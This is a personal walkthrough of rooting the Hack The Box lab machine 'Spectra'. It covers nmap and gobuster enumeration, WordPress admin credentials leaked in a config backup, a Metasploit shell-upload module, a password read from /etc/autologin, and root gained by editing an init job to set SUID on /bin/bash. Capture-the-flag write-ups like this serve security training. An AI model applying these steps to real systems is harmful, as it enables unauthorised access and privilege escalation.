Spectra on HTB Write-Up

Spectra was a relatively easy box, so here's a brief write-up on what I did to root the machine.  I have a habit of checking pages before I run nmap so I visited the page first and found the following:

Before I went any farther on the links I decided to add the address with sudo nano /etc/hosts and put 10.129.169.255 spectra.htb spectra in the hosts file and hit Ctrl +x to save.

Then I finally ran an nmap:

┌──(moo㉿spacecow)-[~]
└─$ nmap -sC -sV 10.129.169.255
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 18:11 CDT
Nmap scan report for 10.129.169.255
Host is up (0.047s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.48 seconds

We see ports 22, 80 and 3306 are open, which gives us an idea of what's going on with this machine. The SQL peaked my interest, but I decided to check on the links first:

The first thing I found was a "Hello world!" post on a brand new Wordpress website, which is the default after a brand new installation. Going further down the page brings you to a login link, so I went ahead and clicked it:

Nice. From here I ran gobuster to search for more interesting directories:

──(moo㉿spacecow)-[~]
└─$ gobuster dir -u http://10.129.169.255 -w /usr/share/wordlists/dirb/common.txt                                                          1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.169.255
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/25 18:13:39 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 283]
/main                 (Status: 301) [Size: 169] [--> http://10.129.169.255/main/]
/testing              (Status: 301) [Size: 169] [--> http://10.129.169.255/testing/                                               ===============================================================
2021/06/25 18:14:01 Finished
===============================================================

The /testing directory is something that immediately catches my eye because there may be something interesting there.

I started going through file links and found that wp-config.php.save had an interesting source page:

This was beautiful because I had just found some creds from a page source.  I went ahead and tested the password with the administrator login, because I didn't have much else to go on (I got lucky) and it worked!

I was then in the Wordpress admin page and clicked around the dashboard link to get an idea of what version I was working with:

I had an idea, but to double check, I hit the Wordpress logo and then About Wordpress link:

Perfect. Now I could check through searchsploit and a few other resources to see if there was an exploit for this version of Wordpress, which there was. In Metasploit, using the wp_admin phrase I found something.  

From here I went and did use exploit/unix/webapp/wp_admin_shell_upload and show options in msfconsole to get more information:

I set username administrator then set password xxxxxx set the rhost to the page itself, set targeturi /main and lhost/lport to my personal IP/port and hit run grabbing meterpreter and type shell to get started:

I do a quick whoami to find out I'm the user nginx. It looks like there isn't a user flag here however, so I check around and find that cat /etc/passwd reveals an account called katie:

Eventually, perusing the box, I came across autologin.conf.orig which gives a hint in the comments about reading a password from a file in /etc/autologin:

Going to /etc/autologin I found the password file, did a cat password to list it, and grabbed creds to katie's account.  Now all I had to do was ssh into the machine, run sudo -l and see if there was a way to privesc this sucker:

We can see that /sbin/initctl returns from sudo -l which is good news, so I went into /sbin, looked around and Googled a bit about initctl.  I found a few sites and some stuff on the man page, which lists the start/stop/restart and emit commands. Cool.

Next, I went into /etc/init, stopped test.conf then edited it with a simple script to root the machine: script chmod +s /bin/bash end script. From there I restarted test.conf and grabbed root with /bin/bash -p to finish off the machine.

:)